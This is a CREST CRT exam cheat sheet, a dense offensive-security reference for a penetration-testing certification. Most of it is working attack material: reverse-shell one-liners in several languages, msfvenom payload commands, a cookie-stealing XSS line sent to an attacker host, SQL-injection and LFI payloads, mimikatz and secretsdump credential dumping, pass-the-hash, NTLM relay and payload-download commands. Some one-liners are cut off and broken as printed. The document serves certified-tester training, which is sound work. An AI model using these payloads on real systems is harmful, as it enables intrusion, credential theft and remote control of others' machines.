

CREST CRT Exam Cheat Sheet

CREST CRT - Exam Cheat Sheet

Offline quick-reference. Pre-upload to CRESTDrive. No internet in the exam.

0. Exam-Start Ritual

```
# Logging - run once per target
mkdir -p ~/crt/<target_ip> && cd ~/crt/<target_ip>
script -af session.log          # logs everything in this terminal

# Kick off long scans IMMEDIATELY
sudo nmap -sS -p- --min-rate 2000 -oA tcp_allports <target> &
sudo nmap -sU --top-ports 100 -oA udp_top100 <target> &
```

Time budget: ~1 min per mark. Infrastructure 100, Web 60. Leave ≥ 45 min for web.

1. Network Discovery & Host Enumeration

Host discovery (same subnet)

```
sudo arp-scan -l                # ARP sweep local subnet
sudo netdiscover -r 10.10.10.0/24 -P
fping -aq -g 10.10.10.0/24 2>/dev/null
sudo nmap -sn -PE -PP -PM 10.10.10.0/24 # ICMP echo/timestamp/mask
sudo nmap -sn -PS22,80,443 -PA80,443 10.10.10.0/24 # TCP ping
```

Port scanning

```
# TCP full port
sudo nmap -sS -p- --min-rate 2000 -T4 -oA full <ip>
# Targeted enumeration
sudo nmap -sV -sC -p <ports> -oA targeted <ip>
# UDP top ports (slow - start early)
sudo nmap -sU --top-ports 100 -oA udp <ip>
# Aggressive / OS fingerprint
sudo nmap -A -p<ports> <ip>
# Stealthy / through filters
sudo nmap -sS -f --mtu 16 --data-length 50 <ip>
sudo nmap -sN -sF -sX <ip>          # Null / FIN / Xmas
sudo nmap -sA <ip>                  # ACK - map firewall rules
# Source port bypass
sudo nmap --source-port 53 <ip>
```

Vulnerability-oriented scripts

```
sudo nmap --script vuln -p <ports> <ip>
sudo nmap --script "safe and discovery" <ip>
sudo nmap --script smb-vuln-* -p 445 <ip>
sudo nmap --script ssl-enum-ciphers -p 443 <ip>
```

Masscan (fast, then nmap to confirm)

```
sudo masscan -p1-65535 --rate 10000 10.10.10.0/24 -oL ms.txt
```

2. Service Enumeration

FTP (21)

```
nmap --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor -p21 <ip>
ftp <ip>                                # anonymous:anonymous / ftp:ftp
wget -m --no-passive ftp://anonymous:@<ip>
```

SSH (22)

```
nmap --script ssh2-enum-algos,ssh-auth-methods,ssh-hostkey -p22 <ip>
ssh-audit <ip>
hydra -L users.txt -P pass.txt ssh://<ip>
# Key reuse
ssh -i id_rsa user@<ip>
# Host-key fingerprint
ssh-keyscan <ip>
```

Telnet (23)

```
telnet <ip> 23                        # banner / default creds
nmap --script telnet-encryption,telnet-ntlm-info -p23 <ip>
```

SMTP (25/465/587)

```
nmap --script smtp-commands,smtp-enum-users,smtp-open-relay,smtp-vuln-* -p25 <ip>
# User enumeration
smtp-user-enum -M VRFY -U users.txt -t <ip>
smtp-user-enum -M EXPN -U users.txt -t <ip>
# Manual
nc <ip> 25
HELO x
VRFY root
EXPN postmaster
```

DNS (53)

```
dig @<ip> <domain> axfr # zone transfer
dig @<ip> -x <ip> # reverse lookup
dig @<ip> <domain> TXT MX NS SOA ANY
dig TXT _dmarc.<domain>
dnsrecon -d <domain> -t axfr
dnsenum <domain>
fierce --domain <domain>
# Subdomain takeover check - look for dangling CNAME to un-claimed cloud asset
```

TFTP (69/udp)

```
tftp <ip>
tftp> get <filename>
nmap -sU --script tftp-enum -p69 <ip>
# Cisco config grab
tftp <ip>; get running-config
```

Finger (79)

```
finger @<ip>
finger root@<ip>
for u in $(cat users.txt); do finger $u@<ip>; done
```

HTTP/HTTPS (80/443)

```
whatweb -a 3 http://<ip>
nikto -h http://<ip>
curl -I http://<ip> # headers
curl -X OPTIONS -i http://<ip> # allowed methods
# Directory busting
ffuf -u http://<ip>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e .php,.html,.txt,.bak
feroxbuster -u http://<ip> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
gobuster dir -u http://<ip> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
# vhost discovery
ffuf -u http://<ip> -H "Host: FUZZ.<domain>" -w subdomains.txt -fs <size-of-default>
```

POP3/IMAP (110/143/993/995)

```
nmap --script pop3-capabilities,pop3-brute -p110 <ip>
nmap --script imap-capabilities,imap-brute -p143 <ip>
```

RPC / Portmapper (111)

```
rpcinfo -p <ip>
nmap --script rpcinfo -p111 <ip>
```

NTP (123)

```
ntpq -c readvar <ip>
ntpd -c monlist <ip>
nmap -sU --script ntp-info,ntp-monlist -p123 <ip>
```

NetBIOS / SMB (137-139, 445)

```
nbtscan <cidr>
nmap --script smb-protocols,smb-security-mode,smb-enum-shares,smb-enum-users,smb-vuln-* -p445 <ip>

enum4linux -a <ip>
enum4linux-ng -A <ip>

smbclient -L //<ip>/ -N # null session
smbclient -L //<ip>/ -U 'user%pass'
smbclient //<ip>/<share> -N
smbmap -H <ip> -u null -p ""
smbmap -H <ip> -u guest -p ""
smbmap -R <share> -H <ip> -u user -p pass

rpcclient -U "" -N <ip> # null session
rpcclient> enumdomusers
rpcclient> enumdomgroups
rpcclient> queryuser 0x3e8
rpcclient> lookupnames administrator
rpcclient> srvinfo
rpcclient> netshareenumall

# RID cycling
for i in $(seq 500 1100); do
  rpcclient -U "" -N -c "lookupsids S-1-5-21-<DOMAIN-SID>-<i>" <ip>
done
enum4linux -r <ip>

# NetExec / CrackMapExec
nxc smb <ip> -u '' -p '' --shares
nxc smb <ip> -u users.txt -p pass --continue-on-success
nxc smb <ip> -u user -H <NTLM-hash> # pass-the-hash
```

SNMP (161/udp)

```
onesixtyone -c /usr/share/wordlists/metasploit/snmp_default_pass.txt <ip>
snmpwalk -v2c -c public <ip>
snmpwalk -v2c -c public <ip> 1.3.6.1.4.1.77.1.2.25 # Windows users
snmpwalk -v2c -c public <ip> 1.3.6.1.2.1.25.4.2.1.2 # running processes
snmpwalk -v2c -c public <ip> 1.3.6.1.2.1.25.6.3.1.2 # installed software
snmpwalk -v2c -c public <ip> 1.3.6.1.2.1.6.13.1.3 # TCP ports
snmp-check <ip> -c public
# Cisco config grab (RW community)
snmpset -v2c -c private <ip> 1.3.6.1.4.1.9.9.96.1.1.1.2.111 i 1 ...
```

LDAP (389/636)

```
nmap --script ldap-rootdse,ldap-search -p389 <ip>
ldapsearch -x -H ldap://<ip> -s base -b "" "(objectClass=*)" "" "+"
ldapsearch -x -H ldap://<ip> -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName
windapsearch -d corp.local --dc-ip <ip> -u user -p pass -U
```

Kerberos (88)

```
# User enumeration (no creds)
kerbrute userenum --dc <dc-ip> -d corp.local users.txt
# AS-REP Roasting (users with DONT_REQ_PREAUTH)
impacket-GetNPUsers corp.local/ -dc-ip <dc> -usersfile users.txt -format hashcat -outputfile asrep.hash
# Kerberoasting (need any domain creds)
impacket-GetUserSPNs corp.local/user:pass -dc-ip <dc> -request -outputfile spn.hash
```

NFS (2049)

```
showmount -e <ip>
mkdir /mnt/nfs && sudo mount -t nfs <ip>:/export /mnt/nfs -o nolock
# Exploit no_root_squash
# On target share, create SUID shell:
cp /bin/bash /mnt/nfs/.bash && chmod +s /mnt/nfs/.bash
# Then on target: /share/.bash -p → root shell
```

MSSQL (1433)

```
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell -p1433 <ip>
impacket-mssqlclient <domain>/user:pass@<ip> -windows-auth
nxc mssql <ip> -u sa -p '' --local-auth
# xp_cmdshell
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
```

MySQL (3306)

```
nmap --script mysql-info,mysql-empty-password,mysql-users,mysql-databases,mysql-brute -p3306 <ip>
mysql -h <ip> -u root -p
mysql -h <ip> -u root -p -e "SHOW DATABASES;"
# UDF privesc path if FILE priv + writable plugin_dir
```

PostgreSQL (5432)

```
nmap --script pgsql-brute -p5432 <ip>
psql -h <ip> -U postgres -W
# Command exec (PG ≥ 9.3)
CREATE TABLE cmd (t TEXT);
COPY cmd FROM PROGRAM 'id';
SELECT * FROM cmd;
```

Oracle (1521)

```
nmap --script oracle-sid-brute,oracle-tns-version -p1521 <ip>
# SID brute
odat sidguesser -s <ip> -p 1521
odat passwordguesser -s <ip> -p 1521 -d <SID>
# TNS Listener v < 11 - no auth
```

RDP (3389)

```
nmap --script rdp-enum-encryption,rdp-ntlm-info,rdp-vuln-ms12-020 -p3389 <ip>
xfreerdp /v:<ip> /u:user /p:pass /cert:ignore /dynamic-resolution
rdesktop <ip>
nxc rdp <ip> -u users.txt -p passwords.txt
```

VNC (5900-5906)

```
nmap --script vnc-info,vnc-brute,realvnc-auth-bypass -p5900 <ip>
vncviewer <ip>
```

WinRM (5985/5986)

```
nxc winrm <ip> -u user -p pass
evil-winrm -i <ip> -u user -p pass
evil-winrm -i <ip> -u user -H <NTLM> # pass-the-hash
```

IKE / IPsec (500/udp)

```
sudo ike-scan <ip>
sudo ike-scan -A <ip> # aggressive mode
sudo ike-scan -A -n <group> <ip> # PSK crackable offline
```

3. SSL/TLS Assessment

```
ssllscan <ip>:443
sslyze --regular <ip>:443
testssl.sh <ip>:443
nmap --script ssl-enum-ciphers,ssl-cert,ssl-heartbleed,ssl-poodle -p443 <ip>
# Red flags: SSLv2/v3, TLS 1.0/1.1, RC4, 3DES, EXPORT, NULL, self-signed, expired, weak key (<2048 RSA)
```

4. Password Attacks

Hash identification

```
hashid '<hash>'
hash-identifier
```

Hashcat - common modes

Mode	Hash
0	MD5
100	SHA1
1400	SHA256
1800	sha512crypt \$6\$
500	md5crypt \$1\$
1000	NTLM
3000	LM
5500	NetNTLMv1
5600	NetNTLMv2
13100	Kerberos TGS-REP (Kerberoast)
18200	Kerberos AS-REP (ASREProast)
7500	Kerberos 5 AS-REQ Pre-Auth
7100	macOS 10.8+
2500	WPA/WPA2
22000	WPA PMKID+EAPOL

```
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hash.txt -a 3 ?a?a?a?a?a # mask attack
john --wordlist=rockyou.txt hash.txt
john --format=NT hash.txt
john --show hash.txt
```

Online brute-force

```
hydra -L users.txt -P pass.txt ssh://<ip> -t 4
hydra -L users.txt -P pass.txt ftp://<ip>
hydra -l admin -P pass.txt <ip> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"
hydra -L users.txt -P pass.txt rdp://<ip>
medusa -h <ip> -U users.txt -P pass.txt -M smbnt
```

Cred spraying

```
nxc smb <ip> -u users.txt -p 'Winter2025!' --continue-on-success
kerbrute passwordspray -d corp.local --dc <ip> users.txt 'Winter2025!'
```

5. Windows Post-Exploitation Quick-Reference

Credential dumping

```
# From admin shell
impacket-secretsdump <domain>/<admin>:<pass>@<dc> # remote DCSync-style
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
nxc smb <ip> -u admin -p pass --sam
nxc smb <ip> -u admin -p pass --lsa
nxc smb <ip> -u admin -p pass --ntds
# Mimikatz (on Windows)
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
lsadump::dcsync /user:corp\krbtgt
```

Pass-the-Hash / Pass-the-Ticket

```
impacket-psexec <domain>/user@<ip> -hashes :<NT>
impacket-wmiexec <domain>/user@<ip> -hashes :<NT>
impacket-smbexec <domain>/user@<ip> -hashes :<NT>
evil-winrm -i <ip> -u user -H <NT>
nxc smb <ip> -u user -H <NT> -x "whoami"
```

BloodHound collection

```
bloodhound-python -u user -p pass -d corp.local -ns <dc-ip> -c All
# or SharpHound on Windows
```

6. Linux Privilege Escalation

```
# Automated
./linpeas.sh | tee linpeas.out
# Manual essentials
id; whoami; sudo -l
cat /etc/passwd /etc/shadow 2>/dev/null
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
getcap -r / 2>/dev/null # capabilities
ls -la /etc/cron* /var/spool/cron/
ps auxf; netstat -antup; ss -tunlp
uname -a; cat /etc/*-release
# Writable dirs in PATH
echo $PATH
# Environment
env
# GTFOBins - know these by heart:
# vim, nano, less, more, man, awk, find, python, perl, ruby, node, gdb,
# docker, lxd, tar, zip, rsync, cp, mv, nmap (old), systemctl, dd,
# socat, nc, env, ed, expect, make, sed, pico, strace
```

7. Windows Desktop Lockdown / Kiosk Breakout (20 marks!)

No external tools. Living off the land. Exploit trust in the GUI.

```
File → Open / Save As dialog:
- Address bar: cmd.exe, powershell.exe, mmc, regedit, taskmgr
- Address bar: C:\Windows\System32\cmd.exe
- Address bar: \\127.0.0.1\C$ or \\localhost\C$
- Filter: *.* then right-click .exe → Open
- Filename: "cmd.exe" with Enter

Help (F1):
- Opens IE/Edge → URL bar → file:///C:/ or launch apps

Browser tricks:
- view-source: → file://
- Print dialog → printer properties → browse

Task Manager (Ctrl+Shift+Esc):
- File → Run new task → cmd.exe (tick "Create with admin privileges")

Keyboard shortcuts:
- Win+R run dialog (often blocked - try anyway)
- Win+E Explorer
- Win+X admin menu (Win 10+)
- Shift+F10 in File Explorer context
- Sticky Keys: 5× Shift in login screen (sethc.exe pre-boot trick)

PowerShell:
- powershell.exe -ep bypass
- powershell.exe -enc <base64>
- If constrained language: check $ExecutionContext.SessionState.LanguageMode

Environment variables:
- %comspec% = cmd.exe
- %systemroot%\system32\

Group Policy bypass:
- gpresult /r (see what's applied)
- Direct registry edits: HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Office applications:
- Word/Excel → macro (VBA Shell "cmd.exe") if enabled
- File → Open → type path

Citrix specifically:
- Published app escape via File → Open → explorer.exe
- Ctrl+Alt+End = Ctrl+Alt+Del inside session
```

8. Web Application Cheat Sheet

HTTP status codes (quick ref)

200 OK · 301/302 redirect · 400 bad req · 401 auth · 403 forbidden · 404 not found · 405 method · 500 server err · 503 unavailable

Burp Suite Pro workflow

1. **Proxy** → intercept, pass to Target
2. **Target** → **Site map** → right-click → Engagement tools → Find comments, Find scripts, Discover content
3. **Repeater** - manual request tampering
4. **Intruder** - fuzzing (Sniper/Cluster bomb/Pitchfork/Battering ram)
5. **Decoder** - base64/URL/HTML/hex
6. **Comparer** - diff responses
7. Right-click → "Copy as curl command" for CLI work

SQL Injection

```
-- Detection
' " ` ) ;-- ' -- - OR 1=1-- OR '1'='1
1' AND 1=1-- vs 1' AND 1=2--
-- Union-based (find column count)
ORDER BY 1-- (increment until error)
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,2,3--
' UNION SELECT null,table_name,null FROM information_schema.tables--
' UNION SELECT null,column_name,null FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT null,concat(user,':','password'),null FROM users--
-- Blind boolean
' AND SUBSTRING(database(),1,1)='a'--
-- Blind time-based
' AND SLEEP(5)-- (MySQL)
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
' AND pg_sleep(5)-- (PostgreSQL)
-- Stacked
'; DROP TABLE users--
-- MSSQL RCE
'; EXEC xp_cmdshell 'whoami'--
```

```
sqlmap -u "http://<ip>/page.php?id=1" --batch --dbs
sqlmap -u "..." --cookie="PHPSESSID=abc" --level 5 --risk 3 --dbs
sqlmap -r req.txt --batch --dump -D <db> -T <tbl>
sqlmap -u "..." --os-shell # if privileges allow
```

XSS

```
<!-- Reflected / Stored -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(document.cookie)</script>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>
javascript:alert(1)
<script>new Image().src='http://<attacker>/?c='+document.cookie;</script>

<!-- Filter bypasses -->
<ScRiPt>alert(1)</sCrIpT>
<script>al\u0065rt(1)</script>
<img src=x onerror="#97;lert(1)">
```

Command Injection

```
; id
| id
& id
&& id
|| id
`id`
$(id)
%0Aid
; ping -c 1 <attacker> # blind - watch with tcpdump
```

LFI / Directory Traversal

```
../../../../etc/passwd
.....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
/etc/passwd%00 (PHP <5.3)
php://filter/convert.base64-encode/resource=index.php
data://text/plain,<?php system($_GET['c']); ?>
expect://id
# Windows
..\..\..\..\windows\win.ini
C:\Windows\System32\drivers\etc\hosts
```

File upload

```
# Try uploading:
shell.php, shell.php5, shell.phtml, shell.php.jpg, shell.jpg.php
# Bypass MIME: Content-Type: image/jpeg
# Bypass magic: prepend GIF89a to php file
# .htaccess upload → AddType application/x-httpd-php .xyz
```

XXE

```
<?xml version="1.0"?>
<!DOCTYPE r [<![ENTITY x SYSTEM "file:///etc/passwd"]>]
<r>&x;</r>
```

SSRF

```
http://127.0.0.1/
http://localhost:8080/
http://169.254.169.254/latest/meta-data/ (AWS metadata)
http://127.0.0.1:6379/ (Redis)
file:///etc/passwd
gopher://127.0.0.1:25/_HELO...
```

Auth / Session

- Check cookie flags: `Secure`, `HttpOnly`, `SameSite`
- Session ID in URL → immediate finding
- Predictable session IDs → Burp Sequencer
- JWT: `none` alg, weak HMAC secret (jwt_tool, hashcat -m 16500)
- Password reset: token predictability, host-header injection, race conditions

CSRF

- No anti-CSRF token
- Token not validated
- Token tied to session only (not per-request)
- SameSite=None without token

Common web security headers (absence = finding)

```
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer
Permissions-Policy: geolocation=(), camera=()
```

9. Metasploit - Not Just For Exploits

```
msfconsole -q
search cve:2021 type:exploit platform:windows
use <module>; show options; set RHOSTS <ip>; run
# As a CLIENT / brute-forcer:
use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/smb/smb_login
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/ftp/ftp_login
use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/postgres/postgres_login
# Enumeration:
use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/smb/smb_enumusers
use auxiliary/admin/smb/psexec_command
# Pivoting
route add 10.10.20.0/24 <session-id>
use auxiliary/server/socks_proxy
```

Payload generation (msfvenom)

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o s
msfvenom -p php/reverse_php LHOST=<ip> LPORT=4444 -f raw -o s.php
msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=4444 -f raw
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f asp
```

10. Reverse Shells (the classics)

```
# Bash
bash -i >& /dev/tcp/<ip>/4444 0>&1
# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<ip>",4444));[os.dup2(s.fileno(),fd) for fd in {0,1,2}];subprocess.call(["/bin/sh","-
# PHP
php -r '$s=fsockopen("<ip>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Perl
perl -e 'use Socket;$i="<ip>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# nc (no -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> 4444 >/tmp/f
# PowerShell
powershell -nop -c '$c=New-Object Net.Sockets.TCPClient('<ip>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0) {
(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+PS '+(pwd).Path+'
';$s.Write([Text.Encoding]::ASCII.GetBytes($sb2),0,$sb2.Length)}"
```

Upgrade shell

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm; export SHELL=bash
```

Listener

```
nc -lvp 4444
rlwrap nc -lvp 4444
# Metasploit multi-handler
use exploit/multi/handler
set PAYLOAD <same as msfvenom>
set LHOST/LPORT; run
```

11. File Transfer

```
# SMB server (from Kali)
impacket-smbserver share . -smb2support -username u -password p
# Windows grabs:
copy \\<ip>\share\file.exe .
net use X: \\<ip>\share /u:u p

# HTTP server
python3 -m http.server 8080
# Windows:
powershell -c "(New-Object Net.WebClient).DownloadFile('http://<ip>:8080/f.exe','C:\Temp\file.exe')"
powershell -c "iwr http://<ip>:8080/f.exe -o f.exe"
certutil -urlcache -split -f http://<ip>:8080/f.exe f.exe
# Linux:
wget http://<ip>:8080/f
curl -o f http://<ip>:8080/f

# FTP server
sudo python3 -m pyftplib -p 21 -w
# Netcat
nc -lvp 4444 > received_file # receiver
nc <ip> 4444 < file_to_send # sender
```

12. Pivoting / Routing Manipulation (20 marks!)

SSH port forwards

```
# Local: access <remote>:<rport> via localhost:<lport>
ssh -L <lport>:<remote>:<rport> user@<pivot>
# Remote: expose Kali service to pivot
ssh -R <rport>:localhost:<lport> user@<pivot>
# Dynamic SOCKS proxy
ssh -D 1080 user@<pivot>
# Then use proxychains
proxychains nmap -sT -Pn <internal-ip>
```

/etc/proxychains4.conf → socks5 127.0.0.1 1080

sshuttle (VPN-like)

```
sshuttle -r user@<pivot> 10.10.20.0/24
```

Chisel

```
# On Kali (server)
chisel server -p 8000 --reverse
# On pivot (client) - reverse SOCKS
chisel client <kali-ip>:8000 R:socks
# Use 127.0.0.1:1080 on Kali
```

Metasploit autoroute + socks

```
meterpreter> run autoroute -s 10.10.20.0/24
msf> use auxiliary/server/socks_proxy
```

Windows: netsh portproxy

```
netsh interface portproxy add v4tov4 listenport=<lport> listenaddress=0.0.0.0 connectport=<rport> connectaddress=<internal>
netsh interface portproxy show all
```

VLAN hopping

```
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.<vid> type vlan id <vid>
sudo ip addr add 10.10.<vid>.5/24 dev eth0.<vid>
sudo ip link set dev eth0.<vid> up
# Analyse tagged traffic
sudo tshark -i eth0 -Y "vlan.id == <vid>"
```

13. LLMNR/NBT-NS Poisoning & Relaying

```
# Capture
sudo responder -I eth0 -wrf
# Relay (with SMB signing disabled on target)
# First disable Responder SMB+HTTP in /etc/responder/Responder.conf
sudo responder -I eth0 -wrf
sudo impacket-ntlmrelayx -tf targets.txt -smb2support
sudo impacket-ntlmrelayx -t smb://<target> -c 'powershell -enc <b64>' -smb2support
# Find targets without SMB signing
nxc smb <cidr> --gen-relay-list targets.txt
```

14. Wireshark / tcpdump Quick Filters

```
# tcpdump
sudo tcpdump -i eth0 -w capture.pcap
sudo tcpdump -i eth0 host <ip> and port 80
sudo tcpdump -i eth0 'port 21 or port 23 or port 80' # cleartext creds
sudo tcpdump -i eth0 -A port 80 # ASCII
```

Wireshark display filters: http.request, http.response.code == 200, ip.addr == 10.10.10.5, tcp.port == 445, smb, smb2, ntlmssp, kerberos, dns, ftp, telnet, !(arp or icmp), frame contains "password", vlan.id == 100

15. Quick Hash Reference

```
LM:      long UPPER-hex, 32 chars, "::-"
NTLM:    32 hex chars (md4)
NetNTLMv2: user::domain:challenge:hash:blob
$1$...   md5crypt
$2a$/2b$ bcrypt
$5$      sha256crypt
$6$      sha512crypt
$y$      yescrypt
$P$      phpass (WordPress)
$apr1$   Apache md5
$krb5asrep$ AS-REP
$krb5tgs$ Kerberoast
```

16. Common Default Credentials

```
admin:admin, admin:password, admin:<blank>
root:root, root:toor, root:<blank>
sa:<blank> (MSSQL)
postgres:postgres
oracle/oracle, system/manager, scott/tiger, sys/change_on_install (Oracle)
tomcat:tomcat, tomcat:s3cret, admin:tomcat
cisco:cisco, admin:cisco
ubnt:ubnt (Ubiquiti)
raspberry:raspberry
```

Community strings: public, private, cisco, admin, default

17. SQL Quick Reference by DB

Action	MySQL	MSSQL	PostgreSQL	Oracle
Version	@@version	@@version	version()	banner FROM v\$version
Current user	user()	SYSTEM_USER	current_user	user FROM dual
Current DB	database()	DB_NAME()	current_database()	global_name
List DBs	SHOW DATABASES	SELECT name FROM master..sysdatabases	\l	SELECT * FROM all_users
List tables	information_schema.tables	information_schema.tables	information_schema.tables	all_tables
Comment	-- or #	--	--	--
String concat	concat(a,b)	a+b	a\ \b	a\ \b
Conditional	IF(x,a,b)	CASE WHEN...	CASE WHEN...	DECODE(x,1,a,b)
File read	LOAD_FILE()	OPENROWSET (BULK)	pg_read_file	UTL_FILE
Command exec	via UDF	xp_cmdshell	COPY FROM PROGRAM	Java / DBMS_SCHEDULER

18. During-Exam Troubleshooting

Problem	Fix
Tool not found	Check CRESTDrive uploads, try apt list --installed grep <tool>, alternative tool
No internet	Expected. Use man, --help, pre-uploaded notes
Scan too slow	-T4, --min-rate, reduce port range, run multiple in parallel with & + tmux
Exploit fails	Read module options carefully, change payload (shell vs meterpreter, x86 vs x64), check target arch, firewall, try manual
Shell dies	python -c 'import pty;pty.spawn("/bin/bash")' then Ctrl+Z → stty raw -echo; fg
Stuck > 10 min	Mark, move on. Come back if time
Forgot syntax	man <tool>, <tool> --help, <tool> -h

19. Final Check List (morning of exam)

- ☐ CPSA certification still valid
- ☐ Photo ID matches CREST registration
- ☐ Arrived early at Pearson VUE
- ☐ Pre-uploaded to CRESTDrive: personal notes, wordlists, static binaries
- ☐ Watch/jewellery off, pockets empty (PV rules)

- ☐ Read all questions first during 15-min reading time
- ☐ Kick off nmap -p- and Nessus immediately
- ☐ One minute per mark — keep moving
- ☐ Trust your prep. Breathe.

End of cheat sheet. Good luck.